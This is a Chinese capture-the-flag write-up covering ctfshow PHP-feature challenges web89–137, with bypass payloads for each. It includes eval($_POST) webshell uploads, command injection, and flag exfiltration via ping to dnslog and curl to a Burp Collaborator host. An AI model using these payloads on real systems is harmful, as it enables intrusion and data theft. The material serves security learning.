web89
这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num)有正确的返回值,则输出$flag。
解题思路:该题要求传入的值不能有数字,那我们的话可以利用preg_match的一个漏洞,即无法处理数组,从而进行绕过正则匹配,同时intval函数处理一个数组有正确的返回值,可以达到输出flag的目的。
payload :
num[]=
或
num[]=任意的东西都可以
intval(array())的返回值为0,然而if(0)是不能输出flag的,所以这里的话来个小测试,测试传入一个num[]= NULL,经intval处理后返回的值是什么
不难看出,传入一个num[]= ,经过处理后的值为1,所以web89中的if(intval($num))可以正常执行。对于这个,我的理解是num[]= ,也算是传入了值的(传入了空吧),所以经intval()处理后的值为1。
web90
这题的话要求传入的num的是十进制值不等于4476,同时intval($num,0)的值全等于4476。所以这里的话我们运用一下intval()函数的特性。
payload:
?num=0x117c //4476的十六进制为117c
?num=010574 //4476的八进制为10574
?num=4476a //intval()中如果$base=0,则$var中存在字母的话遇到字母就会停止读取,传入4476a会将后面的a丢弃
web91
写这题的话也发现了一些问题,自己的正则还是不怎么会,所以还得多翻翻全集......正本表达式全集
理解一下这题的逻辑,第一个if多行匹配'php'(只能是'php',不可以是'adsasphp'之类的),如果匹配到则进行下一个if判断;第二个if单行匹配'php',没匹配到则输出flag。em.......那我们这里利用%0a来绕过。
payload:
?cmd=%0aphp
?cmd=php%0aphp
?cmd=任意字符%0aphp
因为%0a是换行,第一个if匹配多行可以满足条件,第二个if只能匹配第一行,该行不能有php,所以可以输出flag。
解释一下为什么php%0aphp也可以成功,因为我们传入的是%0a,在文件夹的显示(如下图)
(图片来自ctfshow_web入门 PHP特性 - upstream_yu - 博客园 (cnblogs))
所以我们传入一个php%0aphp是分为两行,第一行是php CRLF,第二行是php,所以在第二个if处第一行匹配不成功。
查看题目的himt,里面有个关于文件上传的漏洞
Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展
利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单
web92
刚看到这题就感觉和web90差不多,试了web90的两个payload也可以得到flag
?num=0x117c //4476的十六进制为117c
?num=010574 //4476的八进制为010574
仔细看了一下,原来差别在于弱类型比较
这题的话学会一个新的方法,利用e这个特殊字母构造payload绕过
?num=4476e233
在第一个if弱类型比较,$num中4476e233会当作科学计数法4476*10^233,而在第二个if中,当$base=0时,intval()遇到字母就停止读取(这里看不懂的回头看一下web90,说得很详细了),因此是4476,满足条件从而输出flag。
web93
题目也差不多和web92的一样,第二个if还是弱类型比较,只是在第三个if处多了一个正则匹配/[a-z]/i,意思是匹配a-z的字母且不区分大小写。所以第三个if是判断如果在$num中匹配到a-z的字母(不区分大小写),则程序终止,输出no no no。
第四个if的判断还是熟悉的intval($num,0),要求$num中不能有字母,意味着前几题十六进制的解法不能用,上一题的4476e233的解法也用不了。
所以仔细想想就可以知道,这里还剩下八进制的解法,传入的$num全为数字。
payload:
?num=010574 //4476的八进制是10574,0开头在intval()代表是八进制数
web94
94的话相较于93多了一个过滤条件,查找0在$num出现的位置,匹配不了返回null,直接传八进制数010574进去是行不通的,因为0不能在首位。
这里可以用+号,url编码,加小数点绕过.....
payload:
?num=4476.01
?num=+010574
?num=%20010574
?num= 010574
?num=%0a010574
?num=%2b010574
第一个payload的话4476.01经过intval($num,0)的处理会变成int类型的4476,我们看一下本地调试的结果
剩下几个payload的话,我感觉是经过url解码后的一些不可见字符占据了一个位置,让010574中的第一个0处于第二位,以下是我在本地调试的结果。
web95
95的话转义了. ,用不了4476.01这个payload,但是我们的其它payload还是可以用的......
web96
这题刚开始拿御剑扫,用bp抓包等一系列操作都没发现有用的信息.......最后查看himt,原来还是自己积累少了。在linux下面显示当前目录的flag.php文件是 ./ php
payload:?u=./flag.php
web97
这题要求传入的a的值和b的值不相等,同时a和b的MD5值相等才能输出flag,有两种方法。
一、数组绕过:
payload:
a[]=1 & b[]=2
利用md5()函数无法处理数组,如果传入的是个数组,md5处理后都返回NULL,所以第二个if处的强比较可以相等。
第二种方法,md5碰撞:
简单来说就是两个不一样的数据经过MD5计算后会出现相同的MD5码,至于为什么会出现相同的,复杂的说需要用信息论的东西来解释。有兴趣的朋友可以继续拓展。
下面的链接前两个是关于MD5碰撞的讲解
MD5碰撞 - Devil_Zhang - 博客园
MD5碰撞的意思_Anakki的博客-CSDN博客_md5的碰撞
在bp里面传payload:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
或
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
web98
这题的考点是三元运算符和变量覆盖, 我们先看一下三元运算符的语法格式
$_GET?$_GET=&$_POST:'flag';的意思是说,如果存在GET请求,则用POST请求传递的东西覆盖掉GET请求。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);的意思是如果GET请求传参HTTP_FLAG的值为flag,则输出$flag。
所以我们可以直接在post处传HTTP_FLAG=flag,再在GET处传一个flag=xxx,因为存在GET请求,POST传递的HTTP_FLAG=flag会将GET请求覆盖,从而相当于直接传了一个GET请求HTTP_FLAG=flag,满足题目条件。
GET:
?flag=xxx
POST:
HTTP_FLAG=flag
web99
做题的目的是为了学习嘛,所以下面补充了一些函数和知识点,师傅们一起进步
了解完这些函数,说一下这题的逻辑,首先题目定义了一个$allow的空数组,用for循环从$i=36开始到$i=877(0x36d的十进制值是877),在$allow的数组末尾插入rand(1,$i)得到的随机数;
然后判断是否存在GET请求传参n和参数n的值是否在数组$allow里面,如果是则进行下一步,将POST请求传递参数content的值写入GET请求传递参数n的值中。
我们可以思考一下,每一次产生的随机数rand(1,$i)都会写进数组$allow里面,$i是从36开始递增到877,即每一次随机数是rand(1,36),rand(1,37),rand(1,38).....rand(1,876);每一个的范围都有1,所以$allow数组里面有1是一个大概率事件。
我们可以这样构造GET请求,?n=1.php,因为in_array()这个函数是弱比较,1.php和数字1比较时,1.php会转化为1再和1比较,在$allow中可以满足题目条件。
其次,我们构造POST请求content=<?php @eval($_POST['2']);?> ,构造这个是为了通过file_put_contents将一句话木马写入1.php中。
接下来访问一下1.php,同时输入命令查看目录下的文件
发现一个flag36d.php文件,直接tac查看文件
web100
这题有两种方法:
第一种方法考察的是and和&&的区别,以及RenflectionClass类的使用,这里补充一些函数知识点
接下来在本地测试一些and和&&的区别:
所以这题我们只要第一个v1传进去的是数字就可以使v0为true,从而进入第一个if中。后面第二个if处是要求v2中没有;,第三个if是要求v3有;,所以我们构造最简单的方法输出这个类即可,即构造出echo new RflectionClass('ctfshow');
paylaod:
?v1=1&v2=echo new ReflectionClass&v3=;
得到flag后要把0x2d改成-。
第二种方法:
v1和上面的一样还是1没有改变,进入第一个if。在第二个if处要求v2不能带有;,我们可以构造v2=eval($_POST[1])?>,执行之后直接与开头的<?php闭合。又因为v3要求要有;,所以完整的payload为:
?v1=1&v2=eval($_POST[1])?>&v3=;
这里说一下为什么要用eval($_POST[1])?>,而不是直接$_POST[1]?>,如果我们用后者,传值进去后经eval()首先会把这个东西当成一个字符串处理,处理完后从eval($_POST[1]?>('ctfshow');)变成$_POST[1]?>('ctfshow');,如果我们不在$_POST[1]?>前面加一个eval(),我们传进去的命令只会是字符串,是无法执行的。
用了payload后可以直接POST请求发送命令查找文件,也可以直接在蚁剑连接拿到shell翻后台文件。
web101
ou,原来100的第二种方法是非预期解.......那行吧,就直接用web100的第一种方法吧,得到flag要把0x2d换成-,才是真的flag,好了就这样结束这一天吧,干饭开始。
web102
这道题的思路很妙,我们先看一下它代码执行的逻辑。用is_numeric判断v2和v3是否是数字,通过前面的几题我们知道,由于是and连接,只需要v2是数字,v3是任何东西都能进入if里面。
然后if里面取v2第二位开始后的字符作为$s,再让$str等于call_user_func($v1,$s),将$str的字符写入$v3中。
PHP: call_user_func - Manual
如果是在php5的环境中,我们可以采取下面这种方法:
is_numeric函数在php5中是可以识别十六进制的,也就是说,如果我们get传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制),is_numeric也是可以将其识别成数字的。
get传进去的v2经过题目的substr($v2,2)后得到的字符为3c3f706870206576616c28245f504f53545b315d293b3f3e,同时我们get一个v3为1.php,post传一个v1为hex2bin,代码执行后hex2bin函数会将十六进制转化为我们的一句话木马,再写入1.php中。所以我们的payload可以这样构造,让先GET请求传
?v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
POST:
v1=hex2bin
但这种方法在本题中是不行的,我们可以用下面这个方法查看一下php版本大于php5
所以这题的解法是利用伪协议php://filter/write=convert.base64-decode/resource=1.php写入:
探索php://filter在实战当中的奇技淫巧_WHOAMIAnony的博客-CSDN博客
get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
经过师傅们巧妙地构造,得到一个既可以绕过is_numeric检测又可以执行命令的数字:
$a=5044383959474e6864434171594473; //带e会被认为是科学计数法,可以通过is_numeric的检测
$b=hex2bin($a); //PD89YGNhdCAqYDs=
$c=base64_decode($b); //<?=`cat *`;
在<?=`cat *`;中,<?是短标签相当于<?php,然后=相当于echo,cat *是获取任意文件内容
同时因为经过substr处理,v2前面还要补00,payload:
GET请求:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:
v1=hex2bin
写入成功后访问1.php查看源代码即可得到flag。
web103
这题的话只是多了正则过滤"/.*p.*h.*p.*/i",这个过滤是没有什么作用的,因为它是在$str中匹配,而我们用上一题的payload经过代码执行后得出的$str为PD89YGNhdCAqYDs=,是没有被正则匹配到的,所以可以用上一题的payload。
web104
感觉这题有点送分,可能是出题出失误了吧,难度很低。这题我们要明白shal函数是一种加密方式,出题人的本意可能是让我们懂得几个经过shal函数处理后得到的字符串弱比较相同的字符。
非预期解:
get: ?v2=a
post: v1=a
预期解:
get: ?v2=aaK1STfY //经shal函数处理后的报文为0e76658526655756207688271159624026011393
post: v1=aaO8zKZF //经shal函数处理后的报文为0e89257456677279068558073954252716165668
web105
这题的话考察变量覆盖,有两个payload,既然网上其它的wp都不详细讲是吧,那我来吧。首先得弄懂foreach这个函数和它的几种形式PHP: foreach - Manual
第一个payload:
get: ?suces=flag
post: flag=
这个是利用die($suces)这个输出点,先get一个suces=flag,在第一个foreach处进行判断$key(flag)不等于error,进行下一步$suces=$flag,将flag的值赋给suces。
接下来是post一个flag=NULL,在第二个foreach处进行判断$value不等于flag,进行下一步$flag=$NULL=NULL。从而在下一个if处可以满足$_POST['flag']==$flag,即NULL=$flag=NULL,不让程序终止,从而在die($suces)处输出flag的值。
第二个payload:
get: ?a=flag
post: error=a
这个payload是利用die($error)这个输出点,先get一个a=flag,在第一个foreach处可以通过if的检测,从而进行$a=$flag,得到flag的值。
然后是post一个error=a,在第二个foreach处可以通过if的检测,从而进行$error=$a,因为$a=$flag,所以$error=$flag。最后进行最后一个if的判断,由于我们没有传flag的值,所以flag的值为NULL ,不满足条件,程序停止在die($error),输出flag。
web106
这题没什么好说的,web104的预期解,就是利用加密后生成报文的弱比较。
web107
这题的话也挺简单的,先来了解一下parse_str函数吧,做这题得懂得它的这个用法
PHP parse_str() 函数
该题的重点部分为parse_str($v1,$v2),我们可以猜测v2是一个数组,接下来看到下面if的$v2['flag']可以确定了v2的确是个数组。所以我们要post一个v1的值为flag=???,get一个v3=???,使flag的值等于md5函数处理v3后的值。解题思路就很清晰了,利用弱比较来做。
payload:
get : ?v3=s1502113478a //md5加密后为0e861580163291561247404381396064
post : v1=flag=0e509367213418206700842008763514
web108
这题感觉还行,查了一些网上的资料,发现重点是ereg这个正则的绕过,php中ereg函数的截断漏洞_qq_25987491的博客-CSDN博客_ereg函数绕过
这题的话利用第一个%00截断,payload:
?c=q%00778
q存在的意义是为了满足正则匹配到字符,遇到%00时认为字符串已经结束了,所以可以绕过ereg。然后strrev这个函数是反转字符串,我们传入的c经过反转后变成877q,intval(877q)=877(0x36d的十进制为877),正好满足输出flag的条件。
这题到这里就结束了,我突发奇想,intval()存不存在00截断,接下来在本地试一试
发现确实存在,又是一个新姿势的学习。
web109
这题的话代码很简单,但是想理解通透还是有点难度的。我们想要直接输出一个“new $v1($v2();”的前提是$v1必须是一个带有构造__construct和魔术方法__toString的类,我们看一下本地测试。
这是正常的调用方法:
如果我们直接输出一个类,它会报错类对象不能转换为字符串
想直接输出的前提的类里面带有__toString这个魔术方法:
这里的ctf约等于我们题目的v1,1111约等于我们题目的v2
题目没有给我们类,所以我们只能用内置类。首先得找出带有这种构造和魔术方法的类,能返回我们的结果。可以在php文档查找,这里有两个,一是Exception,二是ReflectionClass,给出链接可具体查看一下。
http://c.biancheng/view/6253.html
PHP: ReflectionClass - Manual
接下来返回题目,看到$v2后面有一个(),这个牵扯到php动态调用。只要是变量后面紧跟着(),那么对这个变量进行函数调用。
用几行代码说明一下这个调用,假如有
$a = 'phpinfo'; $a();
程序先把a的值拿到,然后看到$a后面紧跟着(),程序就会进行动态调用,调用phpinfo()这个方法。那么我们是不是可以直接传给v2一个函数,让它进行调用,然后v1传一个带有构造和魔术方法的类帮我们返回结果?我们在题目这里试一下。
可以看到是可以这样做的,那么接下来我们再深入理解一下,我们传的v1不变,我们的v2改为system("echo phpinfo"),看看会怎么样。
这样会成功的原因是v2获得system("echo phpinfo")的值后,变成eval("echo new exception(system("echo phpinfo")();"),但是system("echo phpinfo")是通过变量赋值来得到的,不会执行系统命令,我们在本地看一看二者的区别。
直接通过变量获取的system是不能执行命令的
得通过eval来执行命令,我们看一下eval函数得注意的点 PHP: eval - Manual
例如这样子,会返回捕获的值phpinfo。
如果加个()动态调用呢?结果会如何?会返回已捕获的phpinfo()调用的值。
我们再换成system("echo phpinfo")()呢?因为有个eval可以执行通过变量得到的system,该代码会先捕获system("echo phpinfo")返回的值(即phpinfo),并输出到页面端。同时最后一行变成eval("echo phpinfo();");捕获phpinfo调用的结果,并返回到页面端。
如果不是通过变量传递得到的system命令,是可以直接执行的,不需要eval。
懂了这些,剩下的操作就简单了,v1还是不变,v2改为system(ls),看看。
看得出来还是执行成功的,因为v2获得值后先执行了ls的命令,然后将返回的目录回显的页面端。再进行函数调用,当然这里肯定是调用失败的,不过这没有关系,我们还是得到了文件名。
其实还可以这样子做,先用//把后面的东西注释掉,注释了后面的东西前面的(肯定没有东西进行闭合,所以我们得手动添加一个),同时又因为;被注释掉了,我们也得手动添加一个;。
得到了文件名发现有fl36dg.txt,直接在url访问就可以找到flag了。
web110
这题的话过滤了很多符号,也过滤了数字,自己写的话确实想不到什么思路。看了一下群主的视频明白了一下,其实禁用了这么多,只能构造一个类和函数来扫描目录得到文件名,然后访问文件名得flag了。所以这里就得找一个类(FilesystemIterator)返回文件名。PHP: FilesystemIterator - Manual
payload:
?v1=FilesystemIterator&v2=getcwd
FilesystemIterator和 DirectoryIterator的区别是前者遍历文件的类,后者则是遍历目录的类。
那么为什么不用scandir代替getcwd呢?我们来看一下getcwd的语法PHP getcwd() 函数
再看看scandir的
可以清晰地看到,scandir需要一个必需参数,但是在该题中我们传不进去这个必需参数,如果直接使用的话是不会返回任何东西的。
web111
这题又是一个新知识的学习,我做这题的时候想到直接传v1=ctfshow&v2=flag,让$ctfshow这个变量得到flag的值然后输出。
但是这根本行不通,这是因为$$v1=&$$v2是在getFlag这个声明的方法内部,如果不是经过传参进来的话,方法内部是无法直接使用外部的变量的。所以这个时候就得使用我们的全局变量GLOBALS,让$ctfshow输出所有变量的值。
PHP: $GLOBALS - Manual
payload:
?v1=ctfshow&v2=GLOBALS
web112
这题的话转义了//等符号,也过滤了一些字符。然后该题if处检查$file是不是一个正常的文件,如果不是则高亮filter($file),这里可以用php伪协议来绕过。
payload:
?file=php://filter/resource=flag.php
可以用的原因是php://filter是一个伪协议,是一个整体,服务器不会分开解析对/进行转义。
web113
这题的话多过滤了一个filter,意味着我们不能用上一题的解法,有两个payload,第一个是利用zip伪协议来读取文件。PHP: zlib:// - Manual
payload:
?file=compress.zlib:///var/www/html/flag.php
至于为什么用compress.zlib而不是用compress.bzip2,我们看一下php文档的介绍
我去查了一下这两个的区别,发现gzopen()可以读取非zip的文件,而bzopen()好像没有这个功能,所以用不了吧。PHP: gzopen - Manual
第二个payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
这个payload是利用/proc/self/来读取文件内容,/proc/self/目录的意义_dillanzhou的博客-CSDN博客_/proc/self
至于为什么前面要这么多/proc/self/root是为了制造目录溢出,从而让is_file函数判断这不是一个正常的文件,从而形成高亮,最后读到flag文件。
web114
这题的话和前两题差不多,这里竟然没有过滤filter,那么直接用112的payload就可以打了。
payload:
?file=php://filter/resource=flag.php
web115
这题的话参考别人的脚本(https://blog.csdn/sxsj333/article/details/109336664)直接爆破出payload:
?num=%0c36
<?php
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
for ($i=0; $i <=128 ; $i++) {
$num=chr($i).'36';
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
echo urlencode(chr($i))."\n";
}
}
?>
//爆出%0c
web123
这题的话重要的一点是懂得php的转换的规则,当变量名中有不合法字符时,点(.)会转换为下划线。
所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的,绕过的话这里要利用它的判定规则,当变量名中存在两个不合法字符时,只转换前面的那一个。[和.并存时,会转换前面的[,而[转换之后恰好为_,从而可以绕过。
该题要求存在POST的CTF_SHOW和CTF_SHOW.COM,并且不存在GET的f10g,才能进入判断。如果满足if的条件,则eval("$c".";")。测试的时候发现禁用了很多函数,像什么phpinfo(),print_r都禁用了,但是echo是可以用的,所以这里可以直接输出flag。
payload:
POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
当然做题是为了学习嘛,所以这里也说一下利用其它函数的做法。
PHP: implode - Manual PHP: get_defined_vars - Manual
利用get_defined_vars()函数将变量返回到数组中,然后再用implode将数组输出来。
payload:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())
到这里的话差不多结束了,最后学习一个命令执行的姿势吧,虽然在这题行不通,但可能以后会用到。
web125
md,看到这题的时候直接一目十行,没看到也过滤了flag,搞得我直接highlight_file(flag.php),自闭了。这个利用的是上一题最后的那个思想,类似于动态执行吧。
payload:
POST : CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
GET : ?1=flag.php
web126
这题的话打印类的命令,如果echo、print、var_dump、highlight_file、show_source都禁用了,可以考虑一下变量覆盖。
payload一:
GET: ?s=1+fl0g=flag_give_me //这里的s可以换成其它字符
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
这里是利用题目开始所给的$a=$_SERVER['argv'];来做,借别人的博客来理解一下这个东西吧
【php-零碎知识】$_SERVER['argv']_阿佐的博客-CSDN博客
脚本的argv执行参数可在php里面将index.php的执行参数(a=1+fl0g=flag_give_me)以数组的形式调入,同时以空格为分隔符,例如ls aa,这个array[0]=ls,array[1]=aa。我们在payload有一个+号的原因就是这个,被调用后+会转换为空格。(直接用空格替代加号的话好像会被服务器认为这是一个连续的字符)
接着我们的payload调入后变成a[0]=s=1,a[1]=fl0g=flag_give_me。在POST处利用parse_str($a[1])解析出$fl0g的值为flag_give_me,从而完成变量覆盖,输出flag。
payload二:
GET: ?$fl0g=flag_give_me
POST: CTF[SHOW.COM=&CTF_SHOW=&fun=assert($a[0])
这个解法也是基于$a=$_SERVER['argv'];这个东西来做,被调入后a[0]=$fl0g=flag_give_me,然后POST处利用assert($a[0])给$fl0g赋值flag_give_me,从而满足条件输出flag。 PHP: assert - Manual
web127
这题的重点是学会这个$_SERVER['QUERY_STRING'];东西,下面附带一篇博客和实例。PHP中$_SERVER["QUERY_STRING"]函数_an4455的博客-CSDN博客
简单来说,$_SERVER['QUERY_STRING'];就是获取url后面的参数和值,明白了这点可以进行下一步分析题目逻辑了。题目要求不能被正则匹配到,才能继续执行下面的代码。extract($_GET)在这题暂时不用到,绕过了第一个if,直接让$ctf_show满足条件输出flag。
但存在一个问题_在变量名中不能被匹配到,那我们用其它符号代替。做前面题目的时候我们知道[和空格这些不合法字符在变量名中会被转换为_,但[被过滤了,只能用空格。
payload:
?ctf show=ilove36d
web128
这题要求传入的f1不能有数字和字母,才能执行下一步的var_dump(call_user_func(call_user_func($f1,$f2)));利用两个call_user_func进行函数回调,这里的话利用gettext和get_defined_vars来构造payload。
PHP: gettext - Manual
payload:
?f1=_&f2=get_defined_vars //gettext()的别名是_(),即_()===gettext()
简单的说gettext("xxx")就是获得xxx的值,get_defined_vars是返回由所有已定义变量所组成的数组。经过第一个call_user_func的处理,var_dump(call_user_func(call_user_func($f1,$f2)));变成了var_dump(call_user_func(get_defined_vars));,再经一次调用后输出数组的信息,里面含有flag。
web129
这题的代码很简单,先是利用stripos(不区分大小写,strpos区分大小写)查找ctfshow在$f中出现的位置,如果大于0,则进行下一步的echo。看到readfile,我们可以尝试一下目录穿越。
PHP: readfile - Manual
一般题目所处的位置是/var/www/html/index.php,我们用../ctfshow/../html/index.php来测一下。发现可以成功,因为第一个../返回到html目录,然后html目录下没有ctfshow这个文件,执行下一个../返回到www目录,再接下来在www目录下的/html/index.php寻找index.php这个文件。
所以我们的payload为:
?f=../ctfshow/../html/flag.php //都是查看源代码得到flag
或
?f=/ctfshow/../var/www/html/flag.php
第二个payload中ctfshow前面的/是直接返回根目录的意思,然后再查找是否有ctfshow这个目录,有则进入这个目录,无进行下一个../。这题这里是有的ctfshow这个目录的,可以自己去测一下。因为有这个目录,所以还需要../返回根目录,然后在根目录下进入var目录,紧接着一步步进入/www/html/flag.php,最后查看源代码得到flag。
web130
这题的话出乎意料,没想到这么简单。先来了解一些,正则匹配的模式和修饰符吧。
正则表达式 – 修饰符(标记) | 菜鸟教程
https://www.jb51/article/183106.htm
正则表达式 贪婪匹配和懒惰匹配_u010865136的专栏-CSDN博客_正则 贪婪
payload:
post: f=ctfshow 或 f[]=
第一个payload因为正则匹配要求开头到ctfshow不能有一个字符,我们的ctfshow正好满足,然后第二个if返回的值为0,0不全等与FLASE,所以可以输出flag。
第二个payload是数组可以绕过正则匹配,同时stripos()处理数组返回NULL,NULL不全等于FLASE,可以输出flag。
web131
这题是利用正则匹配有一定的长度限制,超过长度直接返回flase,一般的waf和过滤默认是一百万个字符长度,在命令执行和前面的过滤中也可以这么做。
我们在本地用代码生成一百万个字符,后面连接36Dctfshow,可以满足第二个if的条件。
生成的代码:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
将生成的字符直接psot就可以了
web132
这题前面的铺垫有点妙,虽然是php特性系列,但是提醒了我时刻都不要忘记基础的东西。打开的话是下面这个界面,到处翻啊翻,没有思路的时候可以尝试一下robots协议等基础的东西。
在url后面加上robots.txt,发现有个admin
直接访问admin,看到题目
这题的话感觉还是比较简单的,这种考察的就是&&和||组合在一起的使用。讲一下我做这题的思路吧,直接看到第二个if的地方。假设要令三个条件都为真才能进入下一步的话,第一个mt_rand()真随机数无法猜测出现的结果,第二个条件$flag的值也不知道,只有第三个条件可以满足。
同时这里也没有其它的函数,变量覆盖什么的也没有,其它的输出点也没有,所以这时候猜测一下(flase && flase ||true)=true,接下来在本地调试一下。
好了,结果出来,猜测是对的。那么这题的payload就很简单了。
payload:
?username=admin&password=1&code=admin
username的值满足第二个if的最后一个条件,得到一个ture。同时password的值题目要求必须存在,它的值为1,不等于$flag得到flase。code的值为admin在第二个if处不相等得到flase,但在第三个if处等于可以输出flag。
web133
这题的话正则过滤很多东西,同时只能取六个字符,这种情况直接执行命令长度肯定是不够的,可以测试一下`$F`这种传递参数本身的形式,从而完成变量覆盖行不行。
我们先传递?F=`$F`; sleep 1(;后面有个空格,换成+也可以,但是;一定不能换成其它符号),好像网站确实sleep了一会,换成?F=`$F`; sleep 5,两者对比一下,发现确实执行了命令。
#为什么会这样呢#
因为我们传递?F=`$F`; sleep 1,substr函数先进行截断得到`$F`; ,然后去执行eval()函数
eval函数的作用是执行php代码,``是shell_exec()的缩写,该函数通过shell执行命令并以字符串的形式返回完整的输出。
而此时$F就是我们输入的`$F`; sleep 1,即$F=`$F`; sleep 1,执行之后的代码应该是
``$F`; sleep 1`,因为这个等价于shell_exec(`$F` sleep 1);,此时`$F`的相当于一个字符串的形式,然后这个东西不是cmd命令,属于无效命令。接着到sleep,属于cmd命令,是有效命令,可以执行成功。
懂了可以通过变量覆盖执行命令,可能有的师傅会想直接?F=`$F`; cat 'flag,php',这样子做可能得到了文件内容,但是你要echo shell_exec(`$F` cat 'flag.php');才能得到回显,所以是行不通的,下面介绍两种方法。
第一种利用ping命令带出数据:
先在dnslog平台获取短域名
payload:
?F=`$F`; ping `cat flag.php |grep ctfshow |tr -cd "[a-z]"/"[0-9]"`.1mh0m7.dnslog -c 1
这里的payload是先执行了ping命令,然后ping的内容里面有`cat flag.php.......`,再获得这个文件的内容。后面的一些是过滤的命令,下面有链接去了解一下。ping .........-c 1的意思是发送一条数据后停止,因为二级域名不能接收那么多信息,所以需要上面的过滤和ping...-c 1。
https://segmentfault/a/1190000006078207
Linux tr命令 | 菜鸟教程
Centos Ping 命令 -C 方法的解析 - GBlWang - 博客园
可能会由于网络问题,回显较慢或者执行不成功,多试两次就好了,记得点击刷新。
得到flag后我们要改一下格式,观察题目的id格式为8-4-4-12,8代表八位字符,后面的4和12也是这个意思,按照这个格式添加-就好了。
第二种解法是利用curl带出flag.php:
原理是利用curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies。
先打开bp,进入Collaborator Client
点击复制到剪贴板获取域名地址
然后回到题目的页面发送payload:
#其中-X POST 表示以post的形式发送
#其中-F 为带文件的形式发送post请求
#aaa是上传文件的name值(这个可以随意更改,无影响),flag.php就是上传的文件
#payload的@不可去掉,@应该是上传的文件的名字标识
?F=`$F`;+curl -X POST -F aaa=@flag.php http://m1o2t9z7ohmt4sl94cipml54dvjl7a.burpcollaborator
https://blog.csdn/zhujy5/article/details/88391070
在题目处执行成功后返回bp刷新查看,在响应那里就可以看到flag了。
web134
这题的姿势确实骚,颠覆了我的认知.....只能说学到了,学到了。
题目不允许get或者post传key1、key2,所以我们思路肯定是要利用已给的函数来做,$_SERVER['QUERY_STRING']是获取get请求?后面的内容;parse_str是将查询到字符串解析到变量中;重点是extract(),该函数是从数组中将变量导入当前的符号表。
我们在本地测试一下,发现输出的结果array(1) { ["key1"]=> string(3) "36d" },经过extract函数的处理会得到key1=36d。
payload:
?_POST[key1]=36d&_POST[key2]=36d
web135
135的话多过滤了curl、cat等字符,用133的ping方法还是可以行得通的,只不过得换个命令。
首先的话还是得去dnslog申请一个短域名,然后再回题目输入payload:
?F=`$F `; ping `nl flag.php |awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.ybqb0e.dnslog -c 1
NR是awk的内建变量,表示从第几行开始读,做了这么多题可以知道flag一般在第十五行,所以上面payload中NR==15,不过读出来只是一半的flag,还需要换成NR==16才能得到完整的flag。
每天一个linux命令(11):nl命令 - peida - 博客园
Linux awk 命令 | 菜鸟教程
第二种解法的话比较简单,这题没有禁止写入文件,我们可以直接将flag.php写入一个文件中
payload:
?F=`$F`; nl f*>1.txt
这里的*是通配符,表示匹配一个或多个字符,这里f*换成flag.php也是一样的;>符号是将加上行号的flag.php文件输出到1.txt里面。执行payload后,直接访问url/1.txt得到flag。
web136
这题的话看到exec函数,不太懂,去搜了一下,感觉又是利用命令来执行得到flag。 linux下的exec命令_再闹东海7的博客-CSDN博客_exec
查看代码发现ls和cat没过滤,首先ls查看一下有哪些文件。试了一下,发现没有回显
那可能要输出到一个文件内,但是>符号已经被ban掉了,只能查找其它命令了,这里有一个tee命令 Linux tee命令 | 菜鸟教程
所以直接?c=ls /|tee 1,ls /是获取根目录下的所有文件目录,在url中访问1,下载文件发现有个f149_15_h3r3。
用cat命令将其保存在2,?c=cat /f149_15_h3r3|tee 2,想刚才那样访问2下载文件就可以得到flag。
web137
这题的话确实没有难度,考点就是懂得 call_user_func()函数的使用和static静态变量的调用。
PHP: call_user_func - Manual
PHP之static静态变量详解 - 飞龙在生 - 博客园
call_user_func是将第一个参数作为回调函数使用,我们正常调用静态变量的方法是ctfshow::getFlag(),但因为call_user_func函数的存在,所以不用()。
